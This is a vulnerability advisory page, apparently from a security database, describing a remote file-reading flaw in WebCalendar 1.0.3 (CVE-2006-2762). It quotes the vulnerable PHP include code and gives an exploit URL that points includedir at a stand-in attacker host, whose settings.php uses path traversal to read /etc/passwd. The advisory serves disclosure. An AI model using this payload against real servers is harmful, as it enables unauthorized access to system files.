Home
Bugtraq
Full List
Only Bugs
Only Tricks
Only Exploits
Only Dorks
Only CVE
Only CWE
Fake Notes
Ranking
CVEMAP
Full List
Show Vendors
Show Products
CWE Dictionary
Check CVE Id
Check CWE Id
Search
Bugtraq
CVEMAP
By author
CVE Id
CWE Id
By vendors
By products
RSS
Bugtraq
CVEMAP
CVE Products
Bugs
Exploits
Dorks
More
cIFrex
Facebook
Twitter
Donate
About
Submit
WebCalendar-1.0.3 reading of any files
2006-06-05 / 2006-06-06
Credit:
socsam linuxmail org
Risk:
Medium
Local:
No
Remote:
Yes
CVE:
CVE-2006-2762
CWE:
CWE-Other
CVSS Base Score:
6.4/10
Impact Subscore:
4.9/10
Exploitability Subscore:
10/10
Exploit range:
Remote
Attack complexity:
Low
Authentication:
No required
Confidentiality impact:
Partial
Integrity impact:
Partial
Availability impact:
None
Version: WebCalendar-1.0.3 Type: Reading of any files Description: ----------------------------- includes/config.php: line 64 if ( ! empty ( $includedir ) ) $fd = @fopen ( "$includedir/settings.php", "rb", true ); ...... while ( ! feof ( $fd ) ) { $data .= fgets ( $fd, 4096 ); } $configLines = explode ( "n", $data ); for ( $n = 0; $n < count ( $configLines ); $n++ ) { ...... $settings[$matches[1]] = $matches[2]; ...... $user_inc = $settings['user_inc']; ...... includes/init.php include_once "includes/$user_inc"; Example: --------------------------------------- index.php?includedir=http://attacker_host where in attacker_host exists file settings.php , which content " <?php echo '<?php # updated via install/index.php on Wed, 24 May 2006 09:29:55 +0300 Unimportant variables can be taken from original settings.php user_inc: ../../../../../../../../../../../../../../../../etc/passwd # end settings.php ?>'; ?> " Requirements register_globals = On;
See this note in RAW Version
Tweet
Vote for this issue:
0
0
50%
50%
Thanks for you vote!
Thanks for you comment!
Your message is in quarantine 48 hours.
Comment it here.
Nick (*)
Email (*)
Video
Text (*)
(*) -
required fields.
Cancel
Submit
{{ x.nick }}
|
Date:
{{ x.ux * 1000 | date:'yyyy-MM-dd' }}
{{ x.ux * 1000 | date:'HH:mm' }}
CET+1
{{ x.comment }}
Show all comments
Copyright
2024
, cxsecurity.com
Back to Top